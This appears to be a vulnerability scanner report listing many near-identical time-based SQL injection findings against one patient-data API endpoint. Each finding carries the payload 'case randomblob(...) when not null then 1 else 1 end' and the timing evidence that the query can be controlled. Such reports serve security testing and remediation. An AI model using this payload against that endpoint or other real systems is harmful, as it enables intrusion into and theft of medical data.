Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,435] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,293] milliseconds, when the original unmodified query with value [904] took [765] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,465] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,760] milliseconds, when the original unmodified query with value [169] took [814] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,465] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,760] milliseconds, when the original unmodified query with value [169] took [814] milliseconds.

URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,482] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,820] milliseconds, when the original unmodified query with value [254] took [1,243] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,482] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,820] milliseconds, when the original unmodified query with value [254] took [1,243] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,542] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,612] milliseconds, when the original unmodified query with value [578] took [1,031] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,542] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,612] milliseconds, when the original unmodified query with value [578] took [1,031] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,555] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,648] milliseconds, when the original unmodified query with value [337] took [276] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,555] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,648] milliseconds, when the original unmodified query with value [337] took [276] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,561] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,990] milliseconds, when the original unmodified query with value [230] took [1,285] milliseconds.
Other	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,561] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the
Info	request to take [3,990] milliseconds, when the original unmodified query with value [230] took [1,285] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST

Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,585] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,358] milliseconds, when the original unmodified query with value [222] took [777] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,585] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,358] milliseconds, when the original unmodified query with value [222] took [777] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,607] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,684] milliseconds, when the original unmodified query with value [208] took [265] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,607] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,684] milliseconds, when the original unmodified query with value [208] took [265] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,653] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,778] milliseconds, when the original unmodified query with value [217] took [262] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,653] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,778] milliseconds, when the original unmodified query with value [217] took [262] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,774] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,797] milliseconds, when the original unmodified query with value [237] took [783] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,774] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,797] milliseconds, when the original unmodified query with value [237] took [783] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,782] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,696] milliseconds, when the original unmodified query with value [186] took [480] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,782] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,696] milliseconds, when the original unmodified query with value [186] took [480] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,785] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [6,741] milliseconds, when the original unmodified query with value [210] took [1,192] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,785] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [6,741] milliseconds, when the original unmodified query with value [210] took [1,192] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,796] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,342] milliseconds, when the original unmodified query with value [183] took [1,557] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,796] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,342] milliseconds, when the original unmodified query with value [183] took [1,557] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,813] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,452] milliseconds, when the original unmodified query with value [164] took [1,396] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,813] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,452] milliseconds, when the original unmodified query with value [164] took [1,396] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end

Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,822] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,878] milliseconds, when the original unmodified query with value [213] took [1,069] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,822] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,878] milliseconds, when the original unmodified query with value [213] took [1,069] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,913] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [5,631] milliseconds, when the original unmodified query with value [237] took [778] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,913] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [5,631] milliseconds, when the original unmodified query with value [237] took [778] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,952] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,288] milliseconds, when the original unmodified query with value [147] took [1,132] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,952] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,288] milliseconds, when the original unmodified query with value [147] took [1,132] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,013] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,912] milliseconds, when the original unmodified query with value [73] took [762] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,013] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,912] milliseconds, when the original unmodified query with value [73] took [762] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,024] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the

request to take [2,568] milliseconds, when the original unmodified query with value [198] took [1,049] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,024] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,568] milliseconds, when the original unmodified query with value [198] took [1,049] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(100000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,037] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,510] milliseconds, when the original unmodified query with value [724] took [262] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,037] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,510] milliseconds, when the original unmodified query with value [724] took [262] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(100000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,068] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,842] milliseconds, when the original unmodified query with value [312.13463469860596] took [315] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,068] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,842] milliseconds, when the original unmodified query with value [312.13463469860596] took [315] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(100000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,075] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,898] milliseconds, when the original unmodified query with value [15] took [1,577] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,075] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,898] milliseconds, when the original unmodified query with value [15] took [1,577] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(100000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,076] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,092] milliseconds, when the original unmodified query with value [222] took [1,867] milliseconds.

The query time is controllable using parameter value [case randomblob(100000) when not

Other Info	<p>null then 1 else 1 end], which caused the request to take [2,076] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,092] milliseconds, when the original unmodified query with value [222] took [1,867] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<p>case randomblob(100000) when not null then 1 else 1 end</p>
Evidence	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,092] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,202] milliseconds, when the original unmodified query with value [217] took [1,540] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,092] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,202] milliseconds, when the original unmodified query with value [217] took [1,540] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<p>case randomblob(100000) when not null then 1 else 1 end</p>
Evidence	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,176] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,263] milliseconds, when the original unmodified query with value [173] took [1,267] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,176] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,263] milliseconds, when the original unmodified query with value [173] took [1,267] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<p>case randomblob(100000) when not null then 1 else 1 end</p>
Evidence	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,192] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [6,361] milliseconds, when the original unmodified query with value [166] took [1,917] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,192] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [6,361] milliseconds, when the original unmodified query with value [166] took [1,917] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<p>case randomblob(100000) when not null then 1 else 1 end</p>
Evidence	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,287] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,986] milliseconds, when the original unmodified query with value [234] took [787] milliseconds.</p>
Other	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,287] milliseconds, parameter</p>

Info	value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,986] milliseconds, when the original unmodified query with value [234] took [787] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,315] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,996] milliseconds, when the original unmodified query with value [252] took [2,197] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,315] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,996] milliseconds, when the original unmodified query with value [252] took [2,197] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,343] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,567] milliseconds, when the original unmodified query with value [276] took [2,313] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,343] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,567] milliseconds, when the original unmodified query with value [276] took [2,313] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,407] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,259] milliseconds, when the original unmodified query with value [244] took [1,388] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,407] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,259] milliseconds, when the original unmodified query with value [244] took [1,388] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,438] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,110] milliseconds, when the original unmodified query with value [32] took [2,433] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,438] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,110] milliseconds, when the original unmodified query with value [32] took [2,433] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST

Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,577] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,158] milliseconds, when the original unmodified query with value [193] took [2,113] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,577] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,158] milliseconds, when the original unmodified query with value [193] took [2,113] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,654] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,943] milliseconds, when the original unmodified query with value [171] took [266] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,654] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,943] milliseconds, when the original unmodified query with value [171] took [266] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,662] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,532] milliseconds, when the original unmodified query with value [279] took [1,233] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,662] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,532] milliseconds, when the original unmodified query with value [279] took [1,233] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,665] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [6,398] milliseconds, when the original unmodified query with value [242] took [2,460] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,665] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [6,398] milliseconds, when the original unmodified query with value [242] took [2,460] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end

Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,668] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,663] milliseconds, when the original unmodified query with value [232] took [1,551] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,668] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,663] milliseconds, when the original unmodified query with value [232] took [1,551] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,753] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,476] milliseconds, when the original unmodified query with value [166] took [668] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,753] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,476] milliseconds, when the original unmodified query with value [166] took [668] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,784] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,232] milliseconds, when the original unmodified query with value [171] took [1,286] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,784] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,232] milliseconds, when the original unmodified query with value [171] took [1,286] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,809] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [5,552] milliseconds, when the original unmodified query with value [191] took [1,535] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,809] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [5,552] milliseconds, when the original unmodified query with value [191] took [1,535] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,911] milliseconds, parameter
Evidence	value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,591] milliseconds, when the original unmodified query with value [215] took [772] milliseconds.

Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,911] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,591] milliseconds, when the original unmodified query with value [215] took [772] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [3,184] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,823] milliseconds, when the original unmodified query with value [193] took [1,550] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [3,184] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,823] milliseconds, when the original unmodified query with value [193] took [1,550] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [3,301] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,660] milliseconds, when the original unmodified query with value [237] took [1,514] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [3,301] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,660] milliseconds, when the original unmodified query with value [237] took [1,514] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [3,631] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,793] milliseconds, when the original unmodified query with value [220] took [1,667] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [3,631] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,793] milliseconds, when the original unmodified query with value [220] took [1,667] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [4,268] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [5,341] milliseconds, when the original unmodified query with value [190] took [1,991] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [4,268] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [5,341] milliseconds, when the original unmodified query with value [190] took [1,991] milliseconds.

URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [764] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,920] milliseconds, when the original unmodified query with value [64] took [259] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [764] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,920] milliseconds, when the original unmodified query with value [64] took [259] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [765] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,002] milliseconds, when the original unmodified query with value [232] took [259] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [765] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,002] milliseconds, when the original unmodified query with value [232] took [259] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [778] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,928] milliseconds, when the original unmodified query with value [200] took [550] milliseconds.
